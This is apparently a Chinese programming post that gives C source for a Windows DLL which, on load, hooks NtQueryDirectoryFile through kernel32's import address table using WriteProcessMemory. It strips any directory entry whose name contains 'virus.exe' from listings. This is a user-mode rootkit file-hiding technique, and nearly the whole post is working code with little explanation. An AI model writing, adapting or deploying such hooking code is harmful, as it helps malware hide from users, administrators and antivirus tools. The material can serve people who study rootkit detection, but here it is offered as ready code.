请见代码分析,
#include <windows.h> #include <WinNT.h> //从ntddk中拿出来的一些结构体定义,在ZwQueryDirectoryFile()中要用到 typedef LONG NTSTATUS; #define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0) //参数类型 typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; //字符串类型 typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; //枚举类型,主要利用FileBothDirectoryInformation typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, FileBothDirectoryInformation, FileBasicInformation, FileStandardInformation, FileInternalInformation, FileEaInformation, FileAccessInformation, FileNameInformation, FileRenameInformation, FileLinkInformation, FileNamesInformation, FileDispositionInformation, FilePositionInformation, FileFullEaInformation, FileModeInformation, FileAlignmentInformation, FileAllInformation, FileAllocationInformation, FileEndOfFileInformation, FileAlternateNameInformation, FileStreamInformation, FilePipeInformation, FilePipeLocalInformation, FilePipeRemoteInformation, FileMailslotQueryInformation, FileMailslotSetInformation, FileCompressionInformation, FileObjectIdInformation, FileCompletionInformation, FileMoveClusterInformation, FileQuotaInformation, FileReparsePointInformation, FileNetworkOpenInformation, FileAttributeTagInformation, FileTrackingInformation, FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; typedef VOID (NTAPI *PIO_APC_ROUTINE)( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved); typedef struct _FILE_BOTH_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG Unknown; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaInformationLength; UCHAR AlternateNameLength; WCHAR AlternateName[12]; WCHAR FileName[1]; } FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION; typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) ( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); //原始ZwQueryDirectoryFile地址 ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL; ////////////////////////////////////////////////////////////////////////// //替换原有函数 ////////////////////////////////////////////////////////////////////////// NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan) { //先调用原有函数 LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan); if (!NT_SUCCESS(rret)) { return rret; } //只取了 FileBothDirectoryInformation这种可能性 if (FileInformationClass==FileBothDirectoryInformation) { PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo; PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo; //测试的C:\\下的virus.exe的隐藏 WCHAR VIRUS[] = L"virus.exe"; BOOLEAN flag; pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation; pLastFileInfo = NULL; do { flag = !( pFileInfo->NextEntryOffset ); //宽字符比较,暂用WCSSTR if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL) { if(flag) { pLastFileInfo->NextEntryOffset = 0; break; } else { int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation; int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset; memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft ); continue; } } pLastFileInfo = pFileInfo; pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset); }while(!flag); } return rret; } ////////////////////////////////////////////////////////////////////////// //Hook Function ////////////////////////////////////////////////////////////////////////// BOOL HookQueryFile(BOOL flag) { //确定Kernel32.dll的基地址 HMODULE hModule = LoadLibrary("kernel32.dll"); if (hModule==NULL) { return FALSE; } PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule; if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE) { return FALSE; } PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew); if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE) { return FALSE; } if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL || pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0) { return FALSE; } PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); PIMAGE_THUNK_DATA ThunkData; while (ImportDescriptor->FirstThunk) { char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name); //遍历寻找Kernel32中加载的ntdll.dll if (stricmp(szDll,"ntdll.dll")!=NULL) { ImportDescriptor++; continue; } ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk); int num = 1; while (ThunkData->u1.Function) { char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2); if (stricmp(szFunc,"NtQueryDirectoryFile")==0) { PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1); if (flag) { //Hook ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile; OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc); DWORD dwWrite = 0; WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite); } else { //UnHook DWORD dwWrite = 0; WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite); } return TRUE; } num++; ThunkData++; } ImportDescriptor++; } return FALSE; } BOOL APIENTRY DllMain( HANDLE hModule,DWORD dwReason,LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { //HOOK ZwQueryDirectroyFile HookQueryFile(TRUE); } else if (dwReason == DLL_PROCESS_DETACH) { //UnHook ZwQueryDirectoryFile HookQueryFile(FALSE); } return TRUE; }